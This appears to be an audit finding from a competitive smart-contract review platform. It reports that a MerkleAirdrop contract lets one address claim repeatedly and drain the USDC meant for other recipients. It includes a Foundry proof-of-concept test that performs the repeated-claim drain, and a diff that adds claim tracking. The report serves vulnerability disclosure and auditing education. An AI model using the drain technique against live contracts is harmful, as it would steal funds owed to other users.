Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`MerkleAirdrop` contract doesn't keep track of users who already claimed their Airdrop allows a single user to claim multiple time.

Summary

The protocol wants to airdrop 25 USDC to the 4 lucky addresses mentioned in their docs.
But a missing implementation to keep track of users who already claimed their award allows the same user to claim the reward multiple times until MerkleAirdrop has sufficient USDC available and as a result of which other users will face a Denial of Service even though they have not claimed their USDC yet. But as the MerkleAirdrop getting fully drained of the USDC Airdrop token will result in failed token transfer.

Vulnerability Details

  • The vulnerability is present in the MerkleAirdrop contract where it doesn't keep a track of users who have already claimed their Airdrop allowing them to claim it again and again because there is no mechanism for claim function to know whether the account has already claimed Airdrop or not.

  • Therefore, MerkleAirdrop contract will run out of USDC Airdrop token.

  • Thus it will result in a Denial of Service for users who are remaining to claim their awards, as the MerkleAirdrop contract will get drained out of all the USDC token, therefore they will not be able to claim their reward and their call to claim will always fail.

Impact

  • Allows users who have already claimed to claim the Airdrop multiple times.

  • Any single user claiming multiple times will make new users to not receive their Airdrop token.

PoC

Add the test in the file: test/MerkleAirdropTest.t.sol

Run the test:

forge test --mt test_SingleUserClaimMultipleTimes_And_DoS_Others
function test_SingleUserClaimMultipleTimes_And_DoS_Others() public {
address collectorTwo = 0x277D26a45Add5775F21256159F089769892CEa5B;
// Merkle proof for collectorTwo
bytes32[] memory collectorTwoProof = new bytes32[](2);
collectorTwoProof[0] = 0x2683f462a4457349d6d7ef62d4208ef42c89c2cff9543cd8292d9269d832c3e8;
collectorTwoProof[1] = 0xdcad361f30c4a5b102a90b4ec310ffd75c577ccdff1c678adb20a6f02e923366;
uint256 initCollectorOneBalance = token.balanceOf(collectorOne);
uint256 airdropFee = airdrop.getFee();
// collectorOne claims multiple times and empty all the Airdrop tokens
// as there are 100 USDC, collectorOne can claim 4 times
for (uint256 i = 0; i < 4; i++) {
hoax(collectorOne, airdropFee);
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
}
assertEq(token.balanceOf(collectorOne), initCollectorOneBalance + amountToCollect * 4);
// now the collectorTwo tries to collect their Airdrop
// but fails because the CollectorOne drained all the Airdrop tokens
hoax(collectorTwo, airdropFee);
vm.expectRevert(
abi.encodeWithSignature(
"ERC20InsufficientBalance(address,uint256,uint256)",
address(airdrop),
token.balanceOf(address(airdrop)),
amountToCollect
)
);
airdrop.claim{ value: airdropFee }(collectorTwo, amountToCollect, collectorTwoProof);
}

Tools Used

Manual Review, Foundry Unit Test

Recommendations

Implement a mechanism in MerkleAirdrop to keep track of users who keeps claiming the Airdrop and prevent an already claimed user to claim it again.

diff --git a/src/MerkleAirdrop.sol b/src/MerkleAirdrop.sol
index 5d95d1b..ec45822 100644
--- a/src/MerkleAirdrop.sol
+++ b/src/MerkleAirdrop.sol
@@ -11,10 +11,12 @@ contract MerkleAirdrop is Ownable {
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address => bool) private i_claimed;
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
@@ -28,6 +30,12 @@ contract MerkleAirdrop is Ownable {
}
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (i_claimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
+
+ i_claimed[account] = true;
+
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
@@ -57,6 +65,10 @@ contract MerkleAirdrop is Ownable {
return i_airdropToken;
}
+ function isClaimed(address account) external view returns (bool) {
+ return i_claimed[account];
+ }
+
function getFee() external pure returns (uint256) {
return FEE;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.